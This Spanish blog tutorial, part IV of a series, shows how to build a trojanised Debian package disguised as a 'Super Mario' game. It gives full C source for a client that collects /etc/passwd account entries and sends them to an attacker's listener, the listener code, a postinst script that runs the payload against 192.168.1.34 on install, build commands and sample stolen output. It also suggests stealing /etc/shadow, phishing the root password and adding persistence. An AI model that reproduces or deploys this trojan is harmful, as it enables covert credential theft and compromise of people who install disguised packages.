Inicio > FileSystem, Hacking, Networking, Programacion > Intentando evadir mecanismos y restricciones de Seguridad – Creando una puerta trasera y accediendo a información de usuarios usando un DEB malicioso – Parte IV

Intentando evadir mecanismos y restricciones de Seguridad – Creando una puerta trasera y accediendo a información de usuarios usando un DEB malicioso – Parte IV


En la entrada anterior se ha indicado como crear un instalador DEB malicioso utilizando msfpayload, lo que ha permitido obtener una consola en la máquina remota que se deseaba atacar.

Partiendo de la publicación anterior, se intentará crear un programa simple que acceda a la información de todos los usuarios del sistema y dicha información se intentará enviar a una máquina remota por medio de un socket. A continuación se indica paso a paso, el uso de algunas librerías propias en C/C++ (en concreto, contenidas en el paquete libc y build-essentials) y como se ha codificado está pequeña puerta trasera. El objetivo de lo que se indica a continuación, es solamente para fines ilustrativos, no se tienen en cuenta factores de seguridad vitales en la máquina atacada tales como firewalls, AV y/o IDS, de esta forma, un hacker con conocimientos medios en programación puede darse una idea de la cantidad de operaciones que puede llevar a cabo en una máquina objetivo con un vector de ataque como este.

1. En primera instancia, para realizar una conexión entre las dos máquinas (atacante y víctima) como ya se ha mencionado es necesario utilizar sockets que permitan el intercambio de paquetes entre ambas maquinas (en concreto sockets “raw” bajo TCP). Una de las ventajas que tiene la creación de un fichero DEB malicioso, es que si se consigue ejecutar en la máquina remota, muy probablemente el programa tendrá los privilegios suficientes como para acceder a la información personal de los usuarios de la máquina remota.
Este es el listado del código que se ejecutará en dicha máquina:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>
#include <pwd.h>
#include <utmp.h>
void error(const char *msg)
{
perror(msg);
exit(0);
}
int main(int argc, char *argv[])
{
int sockfd, portno, n;
struct sockaddr_in serv_addr;
struct hostent *server;
char buffer[4096];
if (argc < 3) {
fprintf(stderr,"Uso %s Host Puerto\n", argv[0]);
exit(0);
}
portno = atoi(argv[2]);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR Abriendo Socket");
server = gethostbyname(argv[1]);
if (server == NULL) {
fprintf(stderr,"ERROR, Host no encontrado\n");
exit(0);
}
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
bcopy((char *)server->h_addr,
(char *)&serv_addr.sin_addr.s_addr,
server->h_length);
serv_addr.sin_port = htons(portno);
if (connect(sockfd,(struct sockaddr *) &serv_addr,sizeof(serv_addr)) < 0)
error("ERROR connecting");
struct passwd *p;
char pwuid[256];
while((p = getpwent()) != NULL){
if(strcmp(p->pw_shell, "/bin/sh") == 0 || strcmp(p->pw_shell,"/bin/bash") == 0 || strcmp(p-
>pw_shell,"/bin/ksh") == 0) {
bzero(pwuid,256);
strcat(buffer,p->pw_name);
strcat(buffer,":");
strcat(buffer,p->pw_passwd);
strcat(buffer,":");
sprintf(pwuid,"%li",(long int)p->pw_uid);
strcat(buffer,pwuid);
strcat(buffer,":");
strcat(buffer,p->pw_gecos);
strcat(buffer,":");
strcat(buffer,p->pw_dir);
strcat(buffer,":");
strcat(buffer,p->pw_shell);
strcat(buffer,"\n");
}
}
endpwent();
n = write(sockfd,buffer,4096);
if (n < 0)
error("ERROR escribiendo en el Socket");
bzero(buffer,4096);
n = read(sockfd,buffer,4096);
if (n < 0) {
error("ERROR leyendo el Soket");
}
close(sockfd);
return 0;
}

Este fragmento de código utiliza la librería pwd.h para obtener la información contenida en el fichero passwd de la maquina en donde se encuentra en ejecución, de esta forma es posible acceder a las cuentas de todos los usuarios registrados en el sistema. Posteriormente se abre un socket para enviar esta información a la máquina del atacante y finalmente, se cierra el socket una vez se ha recibido la respuesta por parte del otro extremo de la comunicación, finalizando de esta forma la ejecución del programa.

2. En la máquina del atacante se debe establecer el otro extremo de la comunicación, es decir la parte “servidora” entre ambas máquinas, aunque en este caso, desde la maquina del atacante, lo único que ocurrirá será, simplemente aceptar la conexión, registrar los datos que se han enviado desde la máquina remota y finalmente cerrar la conexión entre ambos hosts, el código de este programa es el siguiente:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
void error(const char *msg)
{
perror(msg);
exit(1);
}
int main(int argc, char *argv[])
{
int sockfd, newsockfd, portno;
socklen_t clilen;
char buffer[4096];
struct sockaddr_in serv_addr, cli_addr;
int n;
if (argc < 2) {
fprintf(stderr,"ERROR, No se ha especificado el puerto de escucha\n");
exit(1);
}
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd < 0)
error("ERROR abriendo socket");
bzero((char *) &serv_addr, sizeof(serv_addr));
portno = atoi(argv[1]);
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = INADDR_ANY;
serv_addr.sin_port = htons(portno);
if (bind(sockfd, (struct sockaddr *) &serv_addr,
sizeof(serv_addr)) < 0)
error("ERROR en binding");
listen(sockfd,5);
clilen = sizeof(cli_addr);
newsockfd = accept(sockfd,
(struct sockaddr *) &cli_addr,
&clilen);
if (newsockfd < 0)
error("ERROR aceptando la conexion");
bzero(buffer,4096);
n = read(newsockfd,buffer,4096);
if (n < 0) error("ERROR reading from socket");
printf("Aqui esta el mensaje: %s\n",buffer);
//n = write(newsockfd,"El mensaje",strlen(buffer));
//if (n < 0) error("ERROR escribiendo al Socket");
close(newsockfd);
close(sockfd);
return 0;
}

Esta rutina de código espera como parámetro un puerto libre en la máquina en la que se ejecuta (máquina del atacante).

3. Tanto el programa que se entrega la víctima, como el proceso que se ejecuta en la máquina del atacante, deben de ser compilados con un compilador de C como el gcc:

gcc -o ClientPayload Cliente.c
gcc -o Listener Listener.c



4. Con esto, se procede a crear un fichero .DEB como se ha explicado en la entrada anterior, sin embargo, en la publicación anterior se comienza precisamente teniendo un fichero de instalación DEB existente y se “envenenaba” posteriormente, sin embargo aquí, solamente se dispone del código fuente, por lo tanto es necesario, crear toda la estructura manualmente, tal como se indica a continuación:

4.1 Se crea la estructura de directorios:

mkdir -p supermario/usr/sharemkdir -p supermario/DEBIAN


4.2 Se compila y se almacena el ejecutable correspondiente al cliente en el directorio supermario/usr/share/ ahora se procede a crear los ficheros de control en el directorio supermario/DEBIAN

control

Package: SuperMarioVersion: 0.10Section: Games and AmusementPriority: optionalArchitecture: amd64Maintainer: Ubuntu MOTU Developers (ubuntu-motu@lists.ubuntu.com)

Description: Super Mario Game.

postinst

#!/bin/shsudo chmod 755 /usr/share/ClientPayload && /usr/share/ClientPayload 192.168.1.34 5555 &
    1. Ahora se procede a crear el fichero .DEB para ser distribuido a la victima.
      sudo dpkg-deb –build /home/adastra/fakeGame/supermario/dpkg-deb: building package `supermariobross’ in `/home/adastra/fakeGame/supermario.deb’.
    2. El fichero “supermario.deb” se distribuye a la víctima, mientras que en la maquina del atacante se inicia el proceso correspondiente al Listener de la conexión.
./Listener 5555
    1. Cuando se trata de ejecutar en la maquina remota la instrucción de instalación del fichero DEB, se ejecuta automáticamente el programa incluido y posteriormente se envía la información de los usuarios del sistema, en la máquina del atacante se verá una salida similar a la siguiente
./Listener 5555Aqui esta el mensaje:root:x:0:root:/root:/bin/bashdaemon:x:1:daemon:/usr/sbin:/bin/sh

bin:x:2:bin:/bin:/bin/sh

sys:x:3:sys:/dev:/bin/sh

games:x:5:games:/usr/games:/bin/sh

man:x:6:man:/var/cache/man:/bin/sh

lp:x:7:lp:/var/spool/lpd:/bin/sh

mail:x:8:mail:/var/mail:/bin/sh

news:x:9:news:/var/spool/news:/bin/sh

uucp:x:10:uucp:/var/spool/uucp:/bin/sh

proxy:x:13:proxy:/bin:/bin/sh

www-data:x:33:www-data:/var/www:/bin/sh

backup:x:34:backup:/var/backups:/bin/sh

list:x:38:Mailing List Manager:/var/list:/bin/sh

irc:x:39:ircd:/var/run/ircd:/bin/sh

gnats:x:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh

nobody:x:65534:nobody:/nonexistent:/bin/sh

libuuid:x:100::/var/lib/libuuid:/bin/sh

couchdb:x:105:CouchDB Administrator,,,:/var/lib/couchdb:/bin/bash

speech-dispatcher:x:107:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/sh

adastra:x:1000:adastra,,,:/home/adastra:/bin/bash

debian-tor:x:114::/var/lib/tor:/bin/bash

postgres:x:118:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash

nxpgsql:x:1001:NeXpose PostgreSQL User:/opt/rapid7/nexpose/nsc/nxpgsql:/bin/sh

Este ha sido un ejemplo sumamente sencillo de lo que realmente puede llegar ha hacerse con un poco de conocimientos en programación y la intención de comprometer una máquina, demostrando lo sencillo que puede ser obtener información sensible de un usuario bajo plataformas GNU/Linux. El concepto de este tipo de ataque es fácilmente extensible, pudiendo hacer muchas más cosas que realmente pueden ser interesantes, como por ejemplo:

  1. Transferir el fichero /etc/shadow al atacante para ejecutar un ataque de crackeo “offline”
  2. Desde el proceso de instalación solicitar al usuario la contraseña del usuario root y posteriormente enviarla al atacante.
  3. Destruir datos sensibles
  4. Instalar una puerta trasera persistente de modo que “sobreviva” inclusive al reinicio de la máquina comprometida
  5. Acceder a otro tipo de información sensible y enviarla al atacante (como contraseñas almacenadas en navegadores web).

Son solamente unos ejemplos de lo que puede llegar a hacerse con un poco de imaginación, desde luego, el limite es el cielo.

Finalmente, como una pequeña reflexión, los usuarios de GNU/Linux frecuentemente suelen decir que “Para Linux no hay virus y estoy más seguro que con Windows” en parte es cierto, dado que las plataformas Windows son mucho mas atacadas que las plataformas Linux, sin embargo no es inmune a la estupidez humana, así que es necesario ser conscientes de que no hay ningún sistema que sea 100% seguro por el hecho de usar un sistema operativo robusto, siempre existirán formas de comprometerlo.

  1. Aún no hay comentarios.
  1. No trackbacks yet.

Deja un comentario

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión / Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión / Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión / Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión / Cambiar )

Conectando a %s

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 901 seguidores

%d personas les gusta esto: